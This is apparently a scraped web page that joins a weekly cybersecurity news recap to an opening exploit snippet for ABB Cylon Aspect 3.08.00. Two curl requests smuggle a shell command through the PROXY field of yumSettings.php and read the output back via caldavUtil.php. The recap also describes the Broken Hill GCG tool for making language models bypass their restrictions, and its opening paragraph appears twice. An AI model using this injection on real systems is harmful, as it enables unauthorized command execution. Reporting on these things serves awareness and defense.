░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░    
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
         ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░   
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░  
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░   
         ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░  
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░  
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░  
         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░ 

$ curl -X POST "http://192.168.73.31/yumSettings.php" \  
> -H "Cookie: PHPSESSID=xxx" \  
> -d "CMD=set&PROXY=;id>/tmp/blah"  
Set proxy called - no proxy given:  
$   
$ curl -X POST "http://192.168.73.31/caldavUtil.php" \  
> -d "command=postFooter&Footer=%60cat /tmp/blah%60"  
Set footer to uid=33(www-data) gid=33(www-data) groups=33(www-data):

ABB Cylon Aspect 3.08.00 yumSettings.php Command Injection

Hey there, it's your weekly dose of "what the heck is going on in cybersecurity land" – and trust me, you NEED to be in the loop this time. We've got everything from zero-day exploits and AI gone rogue to the FBI playing crypto kingpin – it's full of stuff they don't 🤫 want you to know.
So let's jump in before we get FOMO.
⚡ Threat of the Week
GoldenJackal Hacks Air-Gapped Systems: Meet

Hey there, it's your weekly dose of "_what the heck is going on in cybersecurity land_" – and trust me, you NEED to be in the loop this time. We've got everything from zero-day exploits and AI gone rogue to the FBI playing crypto kingpin – it's full of stuff they don't 🤫 want you to know.

So let's jump in before we get FOMO.

****⚡ Threat of the Week****

**GoldenJackal Hacks Air-Gapped Systems:** Meet GoldenJackal, the hacking crew you've probably never heard of – but should definitely know about now. They're busting into super-secure, air-gapped computer systems with sneaky worms spread through infected USB drives (yes, really!), proving that even the most isolated networks aren't safe. ESET researchers caught them red-handed using two different custom-made tools to target high-profile victims, including a South Asian embassy in Belarus and a European Union government organization.

****🔔 Top News****

*   **Mozilla Patches Firefox 0-Day:** Mozilla patched a critical zero-day flaw in its Firefox browser that it said has been actively exploited in the wild to target Tor browser users. While there are currently no details on the attacks, users are advised to update to Firefox 131.0.2, Firefox ESR 128.3.1, and Firefox ESR 115.16.1.
*   **Contagious Interview Remains Lucrative for N. Korea:** Ever since details about a North Korean hacking campaign called Contagious Interview came to light nearly a year ago, it has continued to target the technology sector with no signs of stopping anytime soon. These attacks aim to deliver backdoors and information-stealing malware by deceiving developers into executing malicious code under the pretext of a coding assignment as part of a job interview after approaching them on platforms like LinkedIn.
*   **OpenAI Disrupts Malicious Operations:** OpenAI said it has disrupted over 20 malicious cyber operations since the start of the year that abused its generative artificial intelligence (AI) chatbot, ChatGPT, for debugging and developing malware, spreading misinformation, evading detection, and vulnerability research. One of the activity clusters was observed targeting OpenAI employees via spear-phishing attacks to deploy the SugarGh0st RAT.
*   **FBI Creates Fake Crypto to Disrupt Fraudulent Operation:** The U.S. Federal Bureau of Investigation (FBI) took the "unprecedented step" of creating its own cryptocurrency token and a company called NexFundAI to take down a fraud operation that allegedly manipulated digital asset markets by orchestrating an illegal scheme known as wash trading. A total of 18 people and entities have been charged in connection with the pump-and-dump scam, with three arrests reported so far.
*   **Gorilla Botnet Launches 300,000 DDoS Attacks Across 100 Countries:** A botnet malware family called Gorilla issued over 300,000 attack commands in the month of September 2024 alone, targeting universities, government websites, telecoms, banks, gaming, and gambling sectors. China, the U.S., Canada, and Germany. The botnet is based on the leaked Mirai botnet source code.

****📰 Around the Cyber World****

*   **Microsoft Announces Windows 11 Security Baseline:** Microsoft has released the Windows 11, version 24H2 security baseline with added protections to LAN Manager, Kerberos, User Account Control, and Microsoft Defender Antivirus. It also includes Windows Protected Print (WPP), which the company described as the "new, modern and more secure print for Windows built from the ground up with security in mind." In a related development, the tech giant announced a redesigned Windows Hello experience and API support for third-party passkey providers like 1Password and Bitwarden to plug into the Windows 11 platform.
*   **Apple macOS iPhone Mirroring is Broken:** Apple announced a new iPhone mirroring feature with macOS 15.0 Sequoia, but cybersecurity firm Sevco has uncovered a privacy risk that could expose metadata associated with apps on an employee's personal iPhone to their corporate IT department. The issue stems from the fact that the iOS apps mirrored to the Mac populate the same application metadata as native macOS applications, thereby leaking information about the apps that may be installed on their phones. Apple has acknowledged the problem and is said to be working on a fix.
*   **Social Engineering Via Phone Calls:** Threat actors have found an effective social engineering vector in phone calls in order to trick users into performing an unintended action, a technique also called telephone-oriented attack delivery (TOAD), callback phishing, and hybrid vishing (a combination of voice and phishing). Intel 471 said it has observed a "sharp increase in underground offers for illicit call center services that can aid in malware delivery, ransomware-related calls, and other fraud-oriented social-engineering attempts."
*   **Malicious Extensions Can Bypass Manifest V3:** Google has said Manifest V3, its latest version of the extensions platform, avoids the security loopholes of its predecessor, which allowed browser add-ons to have excessive permissions and inject arbitrary JavaScript. However, new research has found that it's still possible for malicious actors to exploit minimal permissions and steal data. The findings were presented by SquareX at the DEF CON conference back in August. The research also coincides with a study that discovered "hundreds of extensions automatically extracting user content from within web pages, impacting millions of users."
*   **What can a USB reveal?:** A new analysis from Group-IB goes into detail about the artifacts generated in the USB device when files are accessed or modified on devices running various operating systems. "USB formatted with NTFS, FAT32, and ExFAT often create temporary files, particularly during file modifications," the company said. "USB formatted with NTFS on Windows provided more information on file system changes from the $Logfile due to its journaling capabilities." USB formatted with HFS+ has been found to store versions of files that have been edited with GUI tools in a versioning database. Likewise, USB formatted with FAT32/ExFAT on macOS generates ". \_filename" files to ensure file system compatibility for storing extended attributes.

**🔥 **Cybersecurity Resources & Insights****

*   **Expert Webinars**
    *   **Building a Successful Data Security Posture Management Program**: Drowning in data security headaches? Hear directly from Global-e's CISO how Data Security Posture Management (DSPM) transformed their data security. Get real-world insights, and practical advice, get your questions answered and actionable strategies in this exclusive webinar, and walk away with a clear roadmap. Reserve your seat today!
    *   **Ex-Mandiant Expert Exposes Identity Theft Tactics**: LUCR-3 is breaching organizations like yours through identity-based attacks. Learn how to protect your cloud and SaaS environments from this advanced threat. Cybersecurity expert Ian Ahl (former Mandiant) reveals the latest tactics and how to defend your organization. Register for this crucial webinar to gain the upper hand.
*   **Ask the Expert**
    *   **Q: With mobile devices increasingly targeted by cybercriminals, how can individuals protect their devices from network-based attacks, especially in unfamiliar or high-risk environments, such as when traveling?**
    *   **A:** When you're traveling, your mobile device can be a target for attacks like rogue base stations—fake cell towers set up to steal data or track your location. To protect yourself, start by enabling Lockdown Mode on iPhones, which blocks vulnerable 2G connections. Always use a VPN to keep your internet traffic encrypted and avoid using public Wi-Fi without it. A great tool to boost your awareness is the CellGuard app for iOS. It scans your network for suspicious activity, like rogue base stations, by analyzing things like signal strength and network anomalies. While it may flag some false alarms, it gives you an extra layer of protection.
*   **Cybersecurity Tools**
    *   **Broken Hill: A New Tool to Test AI Models' Weaknesses** \- It is an advanced tool that makes it easy to trick large AI models into misbehaving by bypassing their restrictions. It uses the Greedy Coordinate Gradient (GCG) attack to craft clever prompts that push popular models, like Llama-2 and Microsoft's Phi, to respond in ways they normally wouldn't. The best part? You can run it on consumer GPUs, like the Nvidia RTX 4090, without needing costly cloud servers. Ideal for researchers and security testers, Broken Hill helps uncover and fix vulnerabilities in AI models, making it a must-have tool in the fight against AI threats.
*   **Tip of the Week**
    *   **Your Browser Extensions Are Spying on You:** Browser extensions can be useful but also risky, with potential access to your data or hidden malware. Protect yourself by removing unused extensions, checking their permissions, and only allowing them to run on specific sites. Enable "Click to activate" for more control, and use tools like Chrome's Extension Source Viewer to spot any suspicious behavior. Keep extensions updated, monitor network traffic for unusual activity, and consider using a separate browser for sensitive tasks. Features like Firefox's Temporary Container Tabs can also help by isolating extension access. These simple steps can keep your browsing safer.

****Conclusion****

And that's how the cybersecurity cookie crumbles this week! But listen, before you log off and chill, remember this: always double-check the sender's email address before clicking any links, even if it looks like it's from your bestie or your bank. Phishing scams are getting sneakier than ever, so stay sharp! Until next time, stay safe and cyber-aware!

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Tag

#intel